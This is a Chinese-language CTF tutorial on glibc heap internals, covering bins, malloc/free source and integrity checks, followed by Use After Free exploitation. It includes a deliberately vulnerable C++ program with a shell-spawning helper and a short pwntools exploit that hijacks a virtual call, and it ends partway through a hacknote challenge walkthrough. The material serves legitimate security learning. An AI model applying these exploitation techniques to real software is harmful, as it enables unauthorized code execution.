0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

我们单步一下,观察malloc函数之后的返回值,即rax中保存的值,也就是指向我们chunk的地址,需要注意的是这里malloc函数返回的指针指向的是我们chunk中的user data(用户数据区),我们继续用vmmap观察内存布局,此时已经可以看到我们申请的heap区,然而系统却给了我们大小0x555555777000 - 0x555555756000 = 21000‬的空间,这并不是系统在浪费资源,这是一种提高效率的做法,在下一次我们申请内存的时候就从这块内存里直接取,当这一块内存不足的时候才会向系统索取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555555000 r-xp 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555754000 0x555555755000 r--p 1000 0 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555755000 0x555555756000 rw-p 1000 1000 /home/thunder/Desktop/codes/ctf/pwn/heap/heap1
0x555555756000 0x555555777000 rw-p 21000 0 [heap] => 我们申请的chunk
0x7ffff7a3a000 0x7ffff7bcf000 r-xp 195000 0 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7bcf000 0x7ffff7dcf000 ---p 200000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dcf000 0x7ffff7dd3000 r--p 4000 195000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd3000 0x7ffff7dd5000 rw-p 2000 199000 /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x7ffff7dd5000 0x7ffff7dd9000 rw-p 4000 0
0x7ffff7dd9000 0x7ffff7dfc000 r-xp 23000 0 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7fd6000 0x7ffff7fd8000 rw-p 2000 0
0x7ffff7ff4000 0x7ffff7ff7000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 23000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 24000 /usr/lib/x86_64-linux-gnu/ld-2.24.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

我们用x/20gx rax查看一下我们刚才申请堆的样子,0x5555557560000x555555756010这两排既是我们申请的堆,size是0x20 + 1 = 0x21

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0:0x00000000000000000x0000000000000000
0x555555756000:0x00000000000000000x0000000000000021
0x555555756010:0x00000000000000000x0000000000000000
0x555555756020:0x00000000000000000x0000000000020fe1
0x555555756030:0x00000000000000000x0000000000000000

我们继续运行程序到memcpy函数的下一行观察我们的堆,很明显我们将aaaaa写入了我们的user data中

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0:0x00000000000000000x0000000000000000
0x555555756000:0x00000000000000000x0000000000000021
0x555555756010:0x00000061616161610x0000000000000000
0x555555756020:0x00000000000000000x0000000000020fe1
0x555555756030:0x00000000000000000x0000000000000000

我们继续运行将其释放掉,观察user data的区域已经被清空了

1
2
3
4
5
6
pwndbg> x/10gx 0x555555756010-32
0x555555755ff0:0x00000000000000000x0000000000000000
0x555555756000:0x00000000000000000x0000000000000021
0x555555756010:0x00000000000000000x0000000000000000
0x555555756020:0x00000000000000000x0000000000020fe1
0x555555756030:0x00000000000000000x0000000000000000

然而并不只是清空那么简单,系统还将把这块内存交给堆管理系统中去,方便下一次申请操作,这里我们用x/10gx &main_arena命令发现我们的堆已经连到了main_arena + 0x8中,并且连接的是堆的头部

1
2
3
4
5
6
pwndbg> x/10gx &main_arena
0x7ffff7dd3b00 <main_arena>:0x00000000000000000x0000555555756000
0x7ffff7dd3b10 <main_arena+16>:0x00000000000000000x0000000000000000
0x7ffff7dd3b20 <main_arena+32>:0x00000000000000000x0000000000000000
0x7ffff7dd3b30 <main_arena+48>:0x00000000000000000x0000000000000000
0x7ffff7dd3b40 <main_arena+64>:0x00000000000000000x0000000000000000

所以我们可以总结一下free函数

  • 清空user data的数据
  • 将此chunk放入堆管理器中

main_arena

main_arena 就是 ptmalloc2 堆管理器通过与操作系统内核进行交互申请到的,也就是我们一开始申请到的那么一大块内存,因为是主线程分配的,所以叫 main_arena

Top chunk

如果你细心的话你可能会观察到,在刚才我们申请chunk的下面始终有 0x20fe1 大小的chunk,这一块chunk非常大,程序以后分配到的内存到要放在他的后面,它的作用就是在程序在向堆管理器申请内存时,没有合适的内存空间可以分配时,此时就会从 top chunk 上借一部分作为 chunk 分配给它

Last Remainder Chunk

这是最近一次 small chunk 请求而产生分割后剩下的那一块 chunk,当在 small bins 和 unsorted bin 中找不到合适的 chunk时,如果 last remainder chunk 的大小大于用户请求的大小,则将其分割,返回用户所需 chunk 后,剩下的成为新的 last remainder chunk。

malloc & free

malloc根据用户申请堆块的大小不同做出不同的处理。最常用的是fastbin和chunk。malloc分配时的整体顺序是如果堆块较小,属于fastbin,则在fastbin list里寻找到一个恰当大小的堆块;如果其大小属于normal chunk,则在normal bins里面(unsort,small,large)寻找一个恰当的堆块。如果这些bins都为空或没有分配成功,则从top chunk指向的区域分配堆块。

bins

libc的堆管理机制和其他的堆管理一样,对于free的堆块,堆管理器不会立即把释放的内存还给系统,而是自己保存起来,以便下次分配使用。这样可以减少和系统内核的交互次数,提高效率。Libc中保存释放的内存的地点就是bin。bin是一个个指针,指向一个个链表(双向&单向),除了 fastbin 是 LIFO 单链表的数组维护,其余的bins都是 FIFO 双向链表维护,这些链表就由释放的内存组成,下面是bins的具体分类:

  • Fast bin
  • Unsorted bin
  • Small bin
  • Large bin

Fast bin

特点:

  • 大小较小
  • 单向链表维护
  • 不会和其他的堆块融合(PREV_INUSE始终为1)
  • LIFO(类似栈)

引用一张图片,fastbin一共有10个单项列表,下图是32位系统下的分布,当分配一块较小的内存(memory<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。也就是说,fastbin list只用了前7个进行维护

1567869962341

malloc (fast chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb); // 找到nb 对应的 fastbin 的 索引 idx
mfastbinptr *fb = &fastbin (av, idx);// 找到对应的 fastbin 的指针
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0) //如果 fastbin 非空,就进入这里
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))// 判断大小是否满足 fastbin相应bin的大小要求
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

在初始化时 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的,所以即使用户申请了一个 fast chunk,它也不会交由 fast bin 来处理,而是向下传递交由 small bin 来处理,如果 small bin 也为空的话就交给 unsorted bin 来处理。

那么 fast bin 是在哪?怎么进行初始化的呢?当我们第一次调用 malloc (fast chunk) 的时候,系统执行 _int_malloc 函数,该函数首先会发现当前 fast bin 为空,就转交给 small bin 处理,进而又发现 small bin 也为空,就调用 malloc_consolidate 函数对 malloc_state 结构体进行初始化, malloc_consolidate 函数主要完成以下几个功能:

  1. 首先判断当前 malloc_state 结构体中的 fast bin 是否为空,如果为空就说明整个 malloc_state 都没有完成初始化, 需要对 malloc_state 进行初始化。
  2. malloc_state 的初始化操作由函数 malloc_init_state(msate av) 完成,该函数先初始化除 fast bin 之外的所有 bins (构建双链表),再初始化 fast bins。

之后当 fast bin 中的相关数据不为空了,就开始使用 fast bin。

得到第一个来自于 fast bin 的 chunk 之后,系统就将该 chunk 从对应的 fast bin 中移除,并将其地址返回给用户。

free (fast chunk)

先通过 chunksize 函数根据传入的地址指针对应的 chunk 的大小,然后根据这个 chunk 的大小获取该 chunk 所属的 fast bin,然后再将此 chunk 添加到该 fast bin 的链尾。

3

Unsorted bin

除了fastbin以外,堆块释放后堆块会被放到malloc_state结构的bins数组中,分布如下

1
2
3
4
Bin[0] -> 不存在
Bin[1] –> Unsorted bin
Bin[2] to Bin[63] –> Small bin
Bin[64] to Bin[126] –> Large bin

特点:

  • 大小不一
  • 双向链表维护
  • FIFO

当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时,堆管理器就会考虑使用 Unsorted bin 。它会在分配 large chunk 之前对堆中碎片 chunk 进行合并,以便减少堆中的碎片。Unsoted bin 是一个由 free chunks 组成的循环双向链表。在 Unsorted bin 中,对 chunk 的大小没有限制,任何大小的 chunk 都可以归属到 Unsorted bin 中。

malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 遍历 unsorted bin
{
bck = victim->bk;
size = chunksize (victim);

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}

set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);

check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

Small bin

特点:

  • 大小中等
  • 双向链表维护
  • FIFO
  • 相邻 free chunk 会合并

如果程序请求的内存范围不在 fast bin 的范围内,就会考虑small bin。简单点说就是大于 80 Bytes 小于某一个值时,就会选择他。32 位系统下小于512字节的 chunk,64位系统下小于1024字节,small bin 就是用于管理 small chunk 的。就内存分配和释放的速度而言,small bin 比 larger bin 快,但比 fast bin 慢。

malloc(small chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);// 找到 smallbin 索引
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) // 判断 bin 中是不是有 chunk
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)) // 链表检查
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb); //设置下一个chunk的 in_use 位
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}

/*
大内存分配,进入 malloc_consolidate
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}

最初所有的 small bin 都是空的,因此在对这些 small bin 完成初始化之前,即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理,而是交由 unsorted bin 处理,如果 unsorted bin 也不能处理的话,glibc 就以此遍历后续的所有 bins,找出第一个满足要求的 bin,如果所有的 bin 都不满足的话,就转而使用 top chunk,如果 top chunk大小不够,那么就扩充 top chunk,这样就一定能满足需求了。

在第一次调用 malloc 时,初始 malloc_state 的时候对 small bin 和 large bin 进行初始化,bin 的指针指向自己表明为空。(malloc.c # 1808)

之后,当再次调用 malloc(small chunk) 的时候,如果该 chunk size 对应的 small bin 不为空,就从该 small bin 链表中取得 small chunk,否则就需要交给 unsorted bin 及之后的逻辑来处理了。

free(small chunk)

当释放 small chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。

Large bin

特点:

  • 大小较大
  • 双向链表维护
  • FIFO
  • 相邻 free chunk 会合并
  • free chunk 多两个位fd_nexitsize,bk_nextsize 指向前一块和后一块 large bin

32位系统下大于等于512字节,64位系统下大于等于1024字节的 chunk 称为 large chunk,large bin 就是用于管理这些 large chunk 的。large bin中不再是每个 bin 中的 chunk 大小都固定,每个 bin 中存放着该范围内不同大小的 bin 并在存的过程中进行排序用来加快检索的速度,大的 chunk 放在前面,小的放在后面

malloc(large chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);

/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;

/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;

remainder_size = size - nb;
unlink (av, victim, bck, fwd);

/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

初始时全部的 large bins 都为空,即使用户申请了一个 large chunk,不是给 large bin 进行处理,而是交由 next largest bin (to do) 进行处理,初始化操作与 small bin 一致。

之后当用户再次请求一个 large bin时,首先确定用户请求的大小属于哪一个 large bin,然后判断该 large bin 中最大的 chunk 的大小是否大于用户请求的大小。

如果大于,就从尾部到头部遍历该 large bin,找到一个大小相等或接近的 chunk 返回给用户。如果该 chunk 大于用户请求的大小的话,就将该 chunk 拆分为两个 chunk:前者返回给用户,且大小等同于用户请求的大小,剩余的部分作为一个新的 chunk 添加到 unsorted bin 中。

如果该 large bin 中最大的 chunk 小于用户请求的大小,那么就依次查看后续不为空的 large bin 中是否有满足需求的 chunk,如果找到合适的,切割之后返回给用户。如果没有找到,尝试交由 top chunk 处理。

free(large chunk)

当释放 large chunk 时,检查它前一个或后一个 chunk 是否空闲,如果是,则合并到一起:将其从 bin 中移除,合并成新的 chunk,最后将新的 chunk 添加到 unsorted bin 中。

4

检查机制

free check

free之前的检查

  • 指针是否对齐
  • 块的大小是否对齐,且大于最小的大小
  • 块是否在 inuse 状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
size = chunksize (p);

//检查指针是否正常,对齐
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}

// 检查 size 是否 >= MINSIZE ,且是否对齐
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}

// 检查 chunk 是否处于 inuse 状态
check_inuse_chunk(av, p);

Check In Glbc

函数名检查报错信息
unlinkp->size == nextchunk->pre_sizecorrupted size vs prev_size
unlinkp->fd->bk == p 且 p->bk->fd == pcorrupted double-linked list
_int_malloc当从fastbin分配内存时 ,找到的那个fastbin chunk的size要等于其位于的fastbin 的大小,比如在0x20的 fastbin中其大小就要为0x20malloc():memory corruption (fast)
_int_malloc当从 smallbin 分配 chunk( victim) 时, 要求 victim->bk->fd == victimmalloc(): smallbin double linked list corrupted
_int_malloc当迭代 unsorted bin 时 ,迭代中的 chunk (cur)要满足,cur->size 在 [2*SIZE_SZ, av->system_mem] 中malloc(): memory corruption
_int_free当插入一个 chunk 到 fastbin时,判断fastbin的 head 是不是和 释放的 chunk 相等double free or corruption (fasttop)
_int_free判断 next_chunk->pre_inuse == 1double free or corruption (!prev)

Reference

1
2
3
4
5
[+] Source Code of malloc.c        : https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
[+] CTF pwn 中最通俗易懂的堆入坑指南 : https://www.anquanke.com/post/id/163971#h2-1
[+] Libc堆管理机制及漏洞利用技术 : https://www.freebuf.com/articles/system/91527.html
[+] glibc heap analysis : https://0x3f97.github.io/heap-exploitation/2017/12/06/glibc-heap-analysis/
[+] glibc heap pwn notes : https://xz.aliyun.com/t/2307

Use After Free

漏洞介绍

Glibc Heap 利用中,Use After Free(UAF)是很常见的一种,那么什么是UAF呢?

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Example One

首先创建一个UAF.cpp,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A
{
public:
virtual void print()
{
puts("class A");
}
};

class B: public A
{
public:
void print()
{
puts("class B");
}
};

void sh()
{
system("sh");
}

char buf[1024];

int main()
{
setvbuf(stdout,0,_IONBF,0);
A *p = new B();
delete p; //删除堆p
fgets(buf,sizeof(buf),stdin);
char *q = strdup(buf);

p->print(); //继续使用p,触发漏洞,程序会报错
return 0;
}

编译:

1
g++ use_after_free.cpp -o use_after_free -g -w -no-pie

运行结果:

1
2
3
root@Thunder_J-virtual-machine:~/桌面# ./UAF
aaaa
段错误 (核心已转储)

为什么错误呢?原因很简单,我们之前已经释放过p了,现在又来调用当然会错误,现在我们动态调试一下。
首先我们需要在main函数下个断点,然后单步观察

1
2
pwndbg> b main
Breakpoint 1 at 0x400863: file UAF.cpp, line 32.

我们运行到delete p的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pwndbg> n
34 delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RBX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RCX 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDX 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RDI 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RSI 0x0
R8 0x7ffff7a488c0 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x0
R10 0x602010 ◂— 0x0
R11 0x0
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
RIP 0x4008a1 (main+71) ◂— mov rax, qword ptr [rbp - 0x20]
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4008a1 <main+71> mov rax, qword ptr [rbp - 0x20]
0x4008a5 <main+75> mov esi, 8
0x4008aa <main+80> mov rdi, rax
0x4008ad <main+83> call 0x400720

0x4008b2 <main+88> mov rax, qword ptr [rip + 0x2007b7] <0x601070>
0x4008b9 <main+95> mov rdx, rax
0x4008bc <main+98> mov esi, 0x400
0x4008c1 <main+103> lea rdi, [rip + 0x2007b8] <0x601080>
0x4008c8 <main+110> call fgets@plt <0x400740>

0x4008cd <main+115> lea rdi, [rip + 0x2007ac] <0x601080>
0x4008d4 <main+122> call strdup@plt <0x400750>
─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/Thunder_J/桌面/UAF.cpp
29
30 int main()
31 {
32 setvbuf(stdout,0,_IONBF,0);
33 A *p = new B();
► 34 delete p; //删除堆p
35 fgets(buf,sizeof(buf),stdin);
36 char *q = strdup(buf);
37
38 p->print(); //继续使用p,触发漏洞,程序会报错
39 return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push rbp
01:0008│ 0x7fffffffdfe8 —▸ 0x400760 (_start) ◂— xor ebp, ebp
02:0010│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1
03:0018│ 0x7fffffffdff8 ◂— 0x0
04:0020│ rbp 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe008 —▸ 0x7ffff767cb97 (__libc_start_main+231) ◂— mov edi, eax
06:0030│ 0x7fffffffe010 ◂— 0xffffffffffffff90
07:0038│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe412 ◂— 0x73782f656d6f682f ('/home/xs')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4008a1 main+71
f 1 7ffff767cb97 __libc_start_main+231

我们查看堆情况

1
2
3
4
5
6
7
8
9
pwndbg> heap p
0x613e70 {
mchunk_prev_size = 6294984,
mchunk_size = 0,
fd = 0x0,
bk = 0xf181,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

根据p我们查看一下chunk指向的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/20gx 0x613e70-16
0x613e60:0x00000000000000000x0000000000000021
0x613e70:0x0000000000600dc80x0000000000000000
0x613e80:0x00000000000000000x000000000000f181
0x613e90:0x00000000000000000x0000000000000000
0x613ea0:0x00000000000000000x0000000000000000
0x613eb0:0x00000000000000000x0000000000000000
0x613ec0:0x00000000000000000x0000000000000000
0x613ed0:0x00000000000000000x0000000000000000
0x613ee0:0x00000000000000000x0000000000000000
0x613ef0:0x00000000000000000x0000000000000000
pwndbg> x/10gx 0x0000000000600dc8
0x600dc8 <_ZTV1B+16>:0x00000000004009180x0000000000000000
0x600dd8 <_ZTV1A+8>:0x0000000000600e000x00000000004008fc
0x600de8 <_ZTI1B>:0x00007ffff7dc74380x0000000000400a17
0x600df8 <_ZTI1B+16>:0x0000000000600e000x00007ffff7dc67f8
0x600e08 <_ZTI1A+8>:0x0000000000400a1a0x0000000000000001
pwndbg> x/10gx 0x0000000000400918
0x400918 <B::print()>:0x10ec8348e58948550xe13d8d48f87d8948
0x400928 <B::print()+16>:0xfffffe00e80000000xe589485590c3c990
0x400938 <A::A()+4>:0x9d158d48f87d89480x48f8458b48002004
0x400948 <A::A()+20>:0x485590c35d9010890x894810ec8348e589
0x400958 <B::B()+10>:0x8948f8458b48f87d0x8d48ffffffcee8c7

可以看到最终指向的地址是B中的print()函数,我们继续单步直到p->print()处,也就是漏洞触发之后,再次查看此内存

1
2
3
4
5
6
pwndbg> x/10gx 0x613e70-16
0x613e60:0x00000000000000000x0000000000000021
0x613e70:0x66656562646165640x000000000000000a
0x613e80:0x00000000000000000x0000000000000411
0x613e90:0x66656562646165640x000000000000000a
0x613ea0:0x00000000000000000x0000000000000000

可以看到0x613e70处内容已经修改为我们写入的deadbeef,我们查看一下汇编

1
2
3
4
5
6
7
8
9
10
11
pwndbg> disassemble /m main
Dump of assembler code for function main():
...
38 p->print(); //继续使用p,触发漏洞,程序会报错
=> 0x00000000004008dd <+131>:mov rax,QWORD PTR [rbp-0x20]
0x00000000004008e1 <+135>:mov rax,QWORD PTR [rax]
0x00000000004008e4 <+138>:mov rax,QWORD PTR [rax]
0x00000000004008e7 <+141>:mov rdx,QWORD PTR [rbp-0x20]
0x00000000004008eb <+145>:mov rdi,rdx
0x00000000004008ee <+148>:call rax
...

我们查看寄存器信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x613e70 ◂— 'deadbeef\n'
RBX 0x613e70 ◂— 'deadbeef\n'
RCX 0xa666565626461
RDX 0xa
RDI 0x613e70 ◂— 'deadbeef\n'
RSI 0x6665656264616564 ('deadbeef')
R8 0x613e99 ◂— 0x0
R9 0x7ffff7fd7d80 ◂— 0x7ffff7fd7d80
R10 0x6
R11 0x7ffff76f89a0 (strdup) ◂— push rbp
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 ◂— 'deadbeef\n'
RIP 0x4008dd (main+131) ◂— mov rax, qword ptr [rbp - 0x20]

我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码,也就是我们可以通过输入来getshell,我们通过IDA找到函数的地址

exp:

1
2
3
4
5
6
from pwn import *
p = process('./UAF')
buf_addr = 0x00601080
sh_addr = 0x0400847
p.sendline(p64(buf_addr+8) + p64(sh_addr))
p.interactive()

Example Two

题目链接

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

解题思路

首先运行一下程序,可以看到Menu中有一下几个选项:

1
2
3
4
5
6
7
8
9
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

我们分别来分析一下各个函数的功能:

add_note

可以看出该函数主要就是创建 note ,最多能够创建5个,每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

print_note

该函数就是输出相应note的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete_note

